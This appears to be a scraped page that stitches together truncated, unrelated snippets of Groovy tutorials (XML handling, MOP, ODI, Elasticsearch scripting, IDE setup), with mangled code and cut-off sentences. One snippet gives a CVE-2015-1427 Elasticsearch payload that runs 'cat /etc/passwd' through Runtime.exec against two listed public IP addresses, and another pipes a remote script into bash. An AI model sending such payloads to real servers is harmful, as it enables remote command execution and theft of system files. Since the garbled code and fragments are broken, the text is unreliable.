groovy and grails

How do I add features to XML using groovy? Ask: In groovy, I need to add an attribute (attribute) to the root element of the XML. I want to use Xmlslurper. What should I do? Adding elements is very simple. For: Run the following code in groovy Console with good results. Import groovy.xml.streamingmarkupbuilder//the original xmldef input = " Adding an attribute

This article focuses on creating a project using groovy in ODI and adding a mapping for a table transformation. To create a Groovy script, you can open an edit window from the ODI Studio menu: Tool->groovy-> new script. Before executing the script below, verify that there is already an EMP table in the model. UsersrcUserdest import oracle.odi.domain.project.OdiP

Introduction I have previously written a Java + XSLT-related technical blog and recently studied an open source toolkit org. codehaus. Groovy, which is very convenient for processing VO object and XML file ing. To put it simply, map the attributes (including collection and map) in the vo object to an XML file through the groovy template file. Maven Pom. xml VO class: package shuai.study.groovy.demo.vo

How to Use groovy to parse HTML code that cannot pass XML Verification Original article: robust HTML parsing the groovy way Parsing XML with groovy is simple, and it can run well as long as the input data format is good-but it is not always guaranteed in reality. Considering the HTML code, it is always difficult to verify them through XML, which requires tagsoup

Author: Jiangnan Baiyi According to groovy's team leader -- Guillaume LaForge, mop (Meta Object Protocol) is his favorite groovy feature.Mop is a simple mechanism to intercept and interpret attributes and methods. Intercept is familiar with AOP.Groovy classes are inherited from policyobject. policyobject has get/setproperty () and invokemethod () functions. When a customer calls a non-existent property and method, these two functions are used for proc

Download Sdkman Software development tool ManagerAbout Sdkman Official website has the brief introduction: Http://sdkman.io$ curl-s Get.sdkman.io | BashSecond initialization Sdkman$ source "$HOME/.sdkman/bin/sdkman-init.sh"Three installs the latest version of Groovy$ SDK Install GroovyFollow the prompts to continue until the installation is complete.You may be prompted that the SDK offline cannot be installed and can be tried several times.Four Test

This article describes the static Main method in groovy. First look at the following code: class　Test1　{ 　　　　public　Test1()　{ 　　　　　　　　　println 　"TEST1" 　　　　　} } class　Test2　{ 　　　　public　Test2()　 { 　　　　　　　　　println　"TEST2" 　　　　　} 　　　　static　void　main(args)　 { 　　　　　　　　new　Test1() 　　　　　} } This code does not run with either the Groovy command line or the Groovyconsole, as if it were a reference Groovy.lang

Exploration of groovy mop 10 interceptor 2 In this series of "explore groovy mop nine interceptor 1", we have introduced in detail all aspects of a simple interceptor class, so that we have a preliminary foundation of the interceptor. In this article, we need to use the interceptor class to implement our AOP programming on the basis of the previous interceptor class. First, in the first part of this serie

Download poi-bin-3.10-FINAL-20140208.zip unzip CopyPoi-3.10-FINAL-20140208.jarPoi-ooxml-3.10-FINAL-20140208.jarPoi-ooxml-schemas-3.10-FINAL-20140208.jarOoxml-Lib \ dom4j-1.6.1.jarOoxml-Lib \ dom4j-1.6.1.jarOoxml-Lib \ xmlbeans-2.3.0.jarTo D: \ groovy-1.8.9 \ Lib \ The read_xlsx.groovy code is as follows: import javax.swing.JFileChooserimport javax.swing.filechooser.FileFilterimport javax.swing.filechooser.FileNameExtensionFilterimport java.io.File;im

ArticleDirectory 1.1. Download Eclipse IDE for C/C ++ 1.2. install Java 7 if you have not 1.3. Create a launcher to run eclipse from your Ros-sourced Shell Posted @From [freedomshe] Because groovy was previously dominated by rosbuild workspace, the official IDE environment configuration is described in the rosbuild sample, and currently (2013.5) does not mention the catkin to replace rosbuild (refer1 http://www.ros.org/wiki/ID

Requirement: The Boostapp column in the index is used as the base score for the rating, and is attenuated by time based on the Carpublishtime (Data Refresh Time field).Implemented based on groovy scripting.1. Query Script mode:{"Fields ": [ "Boost", "Ucarid", "Boostapp", "Carpublishtime" ], "query": { " Function_score ": {" query ": { " Match_all ": {} }, " Functions ": [ { " Script_score ": {

Test Url:http://190.196.67.252:9200/_search?prettyHttp://191.234.18.14:9200///_search?prettyPost Submission{"Size": 1, "Script_fields": {"Iswin": {"script": "Java.lang.Math.class.forName (\" Java.io.bufferedreader\ "). GetConstructor (Java.io.Reader.class). newinstance (Java.lang.Math.class.forName (\ "Java.io.inputstreamreader\"). GetConstructor (Java.io.InputStream.class). newinstance (Java.lang.Math.class.forName (\ "Java.lang.runtime\"). GetRuntime (). EXEC (\ "cat/etc/passwd\"). getInputStr

Class definition: Java code Class book{static domain=[pkg: "Application.", Name: "Book", Class: "Books", Chinese: "Titles"} Dynamic Load Code: outputpath=" . output " generatingclasses="["book"]string[]loadingpaths=['./input" '] engine="newgroovyscriptengine" (loadingpaths) generatingclasses.each{classname->clazz="" engine.loadscriptbyname (classname+ ' groovy ') instance="" clazz.newinstance () instance.domain.ea

Transferred from: http://atobs.blogspot.fr/2012/08/match-only-files-that-match-pattern-in.html#!/2012/08/ Match-only-files-that-match-pattern-in.htmlGroovy:In Groovy we can use the Eachdirrecurse and Eachfilematch () methods to get all the file names displayed.def pattern = ~/.*\.java/def dirname= "/usr/local/mysource"new File ("$dirname"). Eachdirrecurse {dir-Dir.eachfilematch (pattern) {myfileprintln "$myfile"}//Eachfilematch}//EachfilematchPython:I

The best way to develop Apache camel applications is TDD, because each component of camel is independent and testable.There are a lot of good test frameworks now, and the BDD (behavioral test Drive) with groovy Spock framework is relatively good and useful.First, we start with the simplest processor.Write Test Cases First:Package Com.github.eric.camelImport Org.apache.camel.ExchangeImport Org.apache.camel.impl.DefaultCamelContextImport Org.apache.came

In the Groovy language, the system has APIs to help us directly do this, which is quite simple. For example, to determine whether a string is of the int type, you only need to write the following code: DefNum = '23' PrintlnNum. isInteger () The running result is: True The following code is used: DefNum1 = '2. 3' PrintlnNum1.isInteger () The running result is: False Similar methods include:isDouble(),isFloat(),isLong(),isNumber(),isBigDecima

Eclipse:Version:Juno Service Release 2Greclipse plugins:http://dist.springsource.org/release/greclipse/e4.2/There are two installations in this session:Other follow-up instructionsCreate a groovy Project after installationOther operations are consistent with creating Java project, no longer repeatingCode to put up a test: Package Secondgroovypackage class regextest { static Main (args) { "Hi, baby!" ("Harry One" =~/(\w+) (\d+)/). ea

Speaking of the "in" keyword is rarely used in the Java language because it is introduced later, i.e. the JDK5 enhanced for loop. The groovy language also retains this functionality so that we can write code similar to the following: def list = [1,2,3] 　　　　　 for(i in list) 　　　　　 { 　　　　　　　　 println i 　　　　　 } The results of the operation are: 1 2 3 This enhanced for loop can also be used on loops on the map, such as: def map = [a:"1",b:"2"] 　　　　　

Open File->new->project ... Wizard, select Groovy in the left pane.In the right pane, specify the following settings:Project SDK: Specifies the JDK used by the project.Groovy Library: Specify your Groovy SDK or click Create to select one from the list to open it. Click Next, specify the information for the project, and then click Finish. in the Project Tools window, right-click the project directory and

 The ElasticSearch vulnerability is numbered cve-2015-1427, affecting version 1.3.0-1.3.7 and 1.4.0-1.4.2, the cause of the vulnerability see:http://drops.wooyun.org/papers/5107, this article specifically discusses the exploit. The 1.2.0 version disables script execution by default, and if you want to use this feature, set the script.disable_dynamic:true in Elasticsearch.yml . In the 1.3.0 version, we started using groovy and sandbox for scripti